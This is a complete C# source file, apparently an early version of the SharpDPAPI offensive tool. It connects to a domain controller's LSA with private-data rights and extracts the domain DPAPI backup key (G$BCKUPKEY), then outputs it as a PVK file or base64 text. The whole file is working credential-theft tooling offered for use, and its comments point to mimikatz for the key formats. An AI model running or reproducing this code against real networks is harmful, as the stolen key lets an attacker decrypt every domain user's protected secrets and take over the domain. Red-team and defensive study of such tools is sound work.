using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.IO;

using System.Linq;

using System.Runtime.InteropServices;

using System.Text;

namespace SharpDPAPI

{

class Program

{

[StructLayout(LayoutKind.Sequential)]

public struct LSA_UNICODE_STRING : IDisposable

{

public ushort Length;

public ushort MaximumLength;

public IntPtr buffer;

public LSA_UNICODE_STRING(string s)

{

Length = (ushort)(s.Length * 2);

MaximumLength = (ushort)(Length + 2);

buffer = Marshal.StringToHGlobalUni(s);

}

public void Dispose()

{

Marshal.FreeHGlobal(buffer);

buffer = IntPtr.Zero;

}

public override string ToString()

{

return Marshal.PtrToStringUni(buffer);

}

}

enum POLICY_INFORMATION_CLASS

{

PolicyAuditLogInformation = 1,

PolicyAuditEventsInformation,

PolicyPrimaryDomainInformation,

PolicyPdAccountInformation,

PolicyAccountDomainInformation,

PolicyLsaServerRoleInformation,

PolicyReplicaSourceInformation,

PolicyDefaultQuotaInformation,

PolicyModificationInformation,

PolicyAuditFullSetInformation,

PolicyAuditFullQueryInformation,

PolicyDnsDomainInformation

}

public enum LSA_AccessPolicy : long

{

POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,

POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,

POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,

POLICY_TRUST_ADMIN = 0x00000008L,

POLICY_CREATE_ACCOUNT = 0x00000010L,

POLICY_CREATE_SECRET = 0x00000020L,

POLICY_CREATE_PRIVILEGE = 0x00000040L,

POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,

POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,

POLICY_AUDIT_LOG_ADMIN = 0x00000200L,

POLICY_SERVER_ADMIN = 0x00000400L,

POLICY_LOOKUP_NAMES = 0x00000800L,

POLICY_NOTIFICATION = 0x00001000L

}

struct LSA_OBJECT_ATTRIBUTES

{

public UInt32 Length;

public IntPtr RootDirectory;

public LSA_UNICODE_STRING ObjectName;

public UInt32 Attributes;

public IntPtr SecurityDescriptor;

public IntPtr SecurityQualityOfService;

}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]

struct DOMAIN_CONTROLLER_INFO

{

[MarshalAs(UnmanagedType.LPTStr)]

public string DomainControllerName;

[MarshalAs(UnmanagedType.LPTStr)]

public string DomainControllerAddress;

public uint DomainControllerAddressType;

public Guid DomainGuid;

[MarshalAs(UnmanagedType.LPTStr)]

public string DomainName;

[MarshalAs(UnmanagedType.LPTStr)]

public string DnsForestName;

public uint Flags;

[MarshalAs(UnmanagedType.LPTStr)]

public string DcSiteName;

[MarshalAs(UnmanagedType.LPTStr)]

public string ClientSiteName;

}

[Flags]

public enum DSGETDCNAME_FLAGS : uint

{

DS_FORCE_REDISCOVERY = 0x00000001,

DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,

DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,

DS_GC_SERVER_REQUIRED = 0x00000040,

DS_PDC_REQUIRED = 0x00000080,

DS_BACKGROUND_ONLY = 0x00000100,

DS_IP_REQUIRED = 0x00000200,

DS_KDC_REQUIRED = 0x00000400,

DS_TIMESERV_REQUIRED = 0x00000800,

DS_WRITABLE_REQUIRED = 0x00001000,

DS_GOOD_TIMESERV_PREFERRED = 0x00002000,

DS_AVOID_SELF = 0x00004000,

DS_ONLY_LDAP_NEEDED = 0x00008000,

DS_IS_FLAT_NAME = 0x00010000,

DS_IS_DNS_NAME = 0x00020000,

DS_RETURN_DNS_NAME = 0x40000000,

DS_RETURN_FLAT_NAME = 0x80000000

}

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

static extern uint LsaOpenPolicy(

ref LSA_UNICODE_STRING SystemName,

ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,

uint DesiredAccess,

out IntPtr PolicyHandle

);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

private static extern uint LsaRetrievePrivateData(

IntPtr PolicyHandle,

ref LSA_UNICODE_STRING KeyName,

out IntPtr PrivateData

);

//[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

//private static extern uint LsaOpenSecret(

// IntPtr PolicyHandle,

// ref LSA_UNICODE_STRING SecretName,

// uint DesiredAccess,

// out IntPtr SecretHandle

//);

//[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

//private static extern uint LsaQuerySecret(

// IntPtr PolicyHandle,

// out IntPtr CurrentValue,

// out IntPtr CurrentValueSetTime,

// out IntPtr OldValue,

// out IntPtr OldValueSetTime

//);

[DllImport("advapi32.dll", SetLastError = true)]

static extern uint LsaNtStatusToWinError(uint status);

[DllImport("advapi32.dll", SetLastError = true)]

static extern uint LsaClose(IntPtr ObjectHandle);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

private static extern uint LsaFreeMemory(

IntPtr buffer

);

[DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]

static extern int DsGetDcName

(

[MarshalAs(UnmanagedType.LPTStr)] string ComputerName,

[MarshalAs(UnmanagedType.LPTStr)] string DomainName,

[In] int DomainGuid,

[MarshalAs(UnmanagedType.LPTStr)] string SiteName,

[MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags,

out IntPtr pDOMAIN_CONTROLLER_INFO

);

[DllImport("Netapi32.dll", SetLastError = true)]

static extern int NetApiBufferFree(IntPtr Buffer);

public static string GetDCName()

{

// retrieves the current domain controller name

// adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname

DOMAIN_CONTROLLER_INFO domainInfo;

const int ERROR_SUCCESS = 0;

IntPtr pDCI = IntPtr.Zero;

int val = DsGetDcName("", "", 0, "",

DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED |

DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME |

DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI);

if (ERROR_SUCCESS == val)

{

domainInfo = (DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(DOMAIN_CONTROLLER_INFO));

string dcName = domainInfo.DomainControllerName;

NetApiBufferFree(pDCI);

return dcName.Trim('\\');

}

else

{

string errorMessage = new Win32Exception((int)val).Message;

Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage);

NetApiBufferFree(pDCI);

return "";

}

}

public static void GetBackupKey(string system, string outFile)

{

LSA_UNICODE_STRING aSystemName = new LSA_UNICODE_STRING(system);

uint aWinErrorCode = 0;

// initialize a pointer for the policy handle

IntPtr LsaPolicyHandle = IntPtr.Zero;

// these attributes are not used, but LsaOpenPolicy wants them to exists

LSA_OBJECT_ATTRIBUTES aObjectAttributes = new LSA_OBJECT_ATTRIBUTES();

aObjectAttributes.Length = 0;

aObjectAttributes.RootDirectory = IntPtr.Zero;

aObjectAttributes.Attributes = 0;

aObjectAttributes.SecurityDescriptor = IntPtr.Zero;

aObjectAttributes.SecurityQualityOfService = IntPtr.Zero;

// get a policy handle to the target server's LSA w/ 'POLICY_GET_PRIVATE_INFORMATION' rights

uint aOpenPolicyResult = LsaOpenPolicy(ref aSystemName, ref aObjectAttributes, (uint)LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION, out LsaPolicyHandle);

aWinErrorCode = LsaNtStatusToWinError(aOpenPolicyResult);

if (aWinErrorCode == 0x00000000)

{

IntPtr PrivateData = IntPtr.Zero;

// the DPAPI secret name we need to resolve to the actual key name

LSA_UNICODE_STRING secretName = new LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED");

// grab the GUID of the G$BCKUPKEY_PREFERRED key

uint ntsResult = LsaRetrievePrivateData(LsaPolicyHandle, ref secretName, out PrivateData);

if (ntsResult != 0)

{

uint winErrorCode = LsaNtStatusToWinError(ntsResult);

string errorMessage = new Win32Exception((int)winErrorCode).Message;

Console.WriteLine(" [X] Error calling LsaRetrievePrivateData {0} : {1}", winErrorCode, errorMessage);

return;

}

// copy out the GUID bytes

LSA_UNICODE_STRING lusSecretData = (LSA_UNICODE_STRING)Marshal.PtrToStructure(PrivateData, typeof(LSA_UNICODE_STRING));

byte[] guidBytes = new byte[lusSecretData.Length];

Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length);

Guid backupKeyGuid = new Guid(guidBytes);

Console.WriteLine(" [*] Preferred backupkey Guid : {0}", backupKeyGuid.ToString());

// build the full name of the actual backup key

string backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString());

Console.WriteLine(" [*] Full preferred backupKeyName : {0}", backupKeyName);

LSA_UNICODE_STRING backupKeyLSA = new LSA_UNICODE_STRING(backupKeyName);

// retrieve the bytes of the full DPAPI private backup key

IntPtr PrivateDataKey = IntPtr.Zero;

uint ntsResult2 = LsaRetrievePrivateData(LsaPolicyHandle, ref backupKeyLSA, out PrivateDataKey);

if (ntsResult2 != 0)

{

uint winErrorCode = LsaNtStatusToWinError(ntsResult2);

string errorMessage = new Win32Exception((int)winErrorCode).Message;

Console.WriteLine(" [X] Error calling LsaRetrievePrivateData ({0}) : {1}", winErrorCode, errorMessage);

return;

}

LSA_UNICODE_STRING backupKeyBytes = (LSA_UNICODE_STRING)Marshal.PtrToStructure(PrivateDataKey, typeof(LSA_UNICODE_STRING));

/* backup key format -> https://github.com/gentilkiwi/mimikatz/blob/3134be808f1f591974180b4578a43aef1696089f/mimikatz/modules/kuhl_m_lsadump.h#L34-L39

typedef struct _KIWI_BACKUP_KEY {

DWORD version;

DWORD keyLen;

DWORD certLen;

BYTE data[ANYSIZE_ARRAY];

} KIWI_BACKUP_KEY, *PKIWI_BACKUP_KEY;

*/

byte[] backupKey = new byte[backupKeyBytes.Length];

Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length);

byte[] versionArray = new byte[4];

Array.Copy(backupKey, 0, versionArray, 0, 4);

int version = BitConverter.ToInt32(versionArray, 0);

byte[] keyLenArray = new byte[4];

Array.Copy(backupKey, 4, keyLenArray, 0, 4);

int keyLen = BitConverter.ToInt32(keyLenArray, 0);

byte[] certLenArray = new byte[4];

Array.Copy(backupKey, 8, certLenArray, 0, 4);

int certLen = BitConverter.ToInt32(certLenArray, 0);

byte[] backupKeyPVK = new byte[keyLen + 24];

Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen);

// PVK_FILE_HDR pvkHeader = { PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, byteLen };

// reference - https://github.com/gentilkiwi/mimikatz/blob/432276f23d7d2af12597e7847e268b751cc89dc5/mimilib/sekurlsadbg/kwindbg.h#L85-L92

// PVK_MAGIC

backupKeyPVK[0] = 0x1E;

backupKeyPVK[1] = 0xF1;

backupKeyPVK[2] = 0xB5;

backupKeyPVK[3] = 0xB0;

// AT_KEYEXCHANGE == 1

backupKeyPVK[8] = 1;

byte[] lenBytes = BitConverter.GetBytes((uint)keyLen);

Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4);

if (String.IsNullOrEmpty(outFile))

{

// base64 output

string base64Key = Convert.ToBase64String(backupKeyPVK);

Console.WriteLine(" [*] Key :");

foreach (string line in Split(base64Key, 80))

{

Console.WriteLine(" {0}", line);

}

}

else

{

FileStream fs = File.Create(outFile);

BinaryWriter bw = new BinaryWriter(fs);

bw.Write(backupKeyPVK);

bw.Close();

fs.Close();

Console.WriteLine(" [*] Backup key written to : {0}", outFile);

}

LsaFreeMemory(PrivateData);

LsaClose(LsaPolicyHandle);

}

else

{

string errorMessage = new Win32Exception((int)aWinErrorCode).Message;

Console.WriteLine(" [X] Error calling LsaOpenPolicy ({0}) : {1}", aWinErrorCode, errorMessage);

}

}

public static IEnumerable<string> Split(string text, int partLength)

{

if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); }

if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); }

var partCount = Math.Ceiling((double)text.Length / partLength);

if (partCount < 2)

{

yield return text;

}

for (int i = 0; i < partCount; i++)

{

var index = i * partLength;

var lengthLeft = Math.Min(partLength, text.Length - index);

var line = text.Substring(index, lengthLeft);

yield return line;

}

}

static void Usage()

{

Console.WriteLine("\r\n SharpDPAPI backupkey [server=primary.testlab.local] [file=key.pvk]\r\n");

}

static void Main(string[] args)

{

if (args.Length < 1)

{

Usage();

return;

}

var arguments = new Dictionary<string, string>();

foreach (string argument in args)

{

int idx = argument.IndexOf('=');

if (idx > 0)

arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);

}

string server = "";

if (arguments.ContainsKey("server"))

{

server = arguments["server"];

Console.WriteLine("\r\n [*] Using server : {0}", server);

}

else

{

server = GetDCName();

if (String.IsNullOrEmpty(server))

{

return;

}

Console.WriteLine("\r\n [*] Current domain controller : {0}", server);

}

string outFile = "";

if (arguments.ContainsKey("file"))

{

outFile = arguments["file"];

}

GetBackupKey(server, outFile);

}

}

}